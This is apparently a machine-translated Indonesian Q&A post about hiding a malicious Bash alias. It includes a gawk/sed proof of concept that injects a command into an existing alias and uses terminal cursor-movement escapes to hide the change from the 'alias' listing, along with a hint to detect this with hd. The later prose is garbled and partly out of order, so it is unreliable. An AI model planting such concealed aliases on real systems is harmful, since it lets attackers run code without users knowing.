Apakah mungkin untuk menyembunyikan keberadaan alias jahat di Bash pada sistem Linux dan apakah itu dieksekusi oleh pengguna tanpa sepengetahuan mereka?
Apakah mungkin untuk menyembunyikan keberadaan alias jahat di Bash pada sistem Linux dan apakah itu dieksekusi oleh pengguna tanpa sepengetahuan mereka?
Jawaban:
Dimungkinkan untuk melakukan itu dengan menambahkan alias yang ada ke berbahaya dan menggunakan gerakan kursor untuk menyembunyikannya jika aliasperintah digunakan untuk menampilkan definisi alias. Ini bukan metode yang sangat mudah, tetapi mungkin tidak terdeteksi untuk sementara waktu. Perpipaan aliasmelalui hdakan menunjukkan kepada Anda apakah ada urutan melarikan diri (gerakan kursor) di alias Anda. Berikut adalah bukti konsep tentang bagaimana perintah jahat dapat dimasukkan ke alias:
alias | gawk 'BEGIN {
FS = "[ =\047]"
db = "\\"; sp = db " "; amp = db "&"
sq= "\047"; bell = "\007"; esc = "\033"
}
NR == 3 { len1 = length($2) }
NR == 4 {
alias = $2
orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
orig = gensub(" ", db sp, "g", orig)
}
END {
hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
for(i=1; i<len1; i++) {hide = hide esc "[C"}
cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
system(cmd)
}'
sedperintah memodifikasi file bernama "alias" di tempat - naskah nyata dari jenis ini akan pergi untuk tenggorokan dan memodifikasi file script nyata sehingga alias berbahaya akan diaktifkan pada saat ini dijalankan.hidesebagai argumen sehingga bisa dibayangkan bahwa Anda bisa mendapatkan kesalahan yang mirip dengan yang dilaporkan dalam pertanyaan ini . Dimungkinkan untuk membalikkan bagian asli dan berbahaya untuk memengaruhi ini, meskipun ini akan mengganggu argumen yang diberikan kepada alias. Upaya dilakukan dalam skrip di atas untuk menandai akhir pertengkaran --.&&, Anda bisa pipa satu ke yang berikutnya dan membuat script berbahaya (diwakili di atas dengan sederhana echoperintah) fungsi sebagai stdinuntuk stdoutpass-through baik untuk memodifikasi data itu akan melintasi atau menyembunyikan nya keberadaan lebih lanjut dengan tidak mengganggu pengalihan lainnyahideString dapat dimodifikasi untuk menyertakan gerakan kursor yang berbeda dan teks alias asli sehingga aliasperintah akan muncul untuk menunjukkan alias tidak dimodifikasi bukannya bersembunyi bersama dengan bagian berbahaya.. aliases. Kemudian Anda dapat mencoba menggunakan alias yang terpengaruh dan melihat seperti apa rasanya saat melakukannya alias|hd.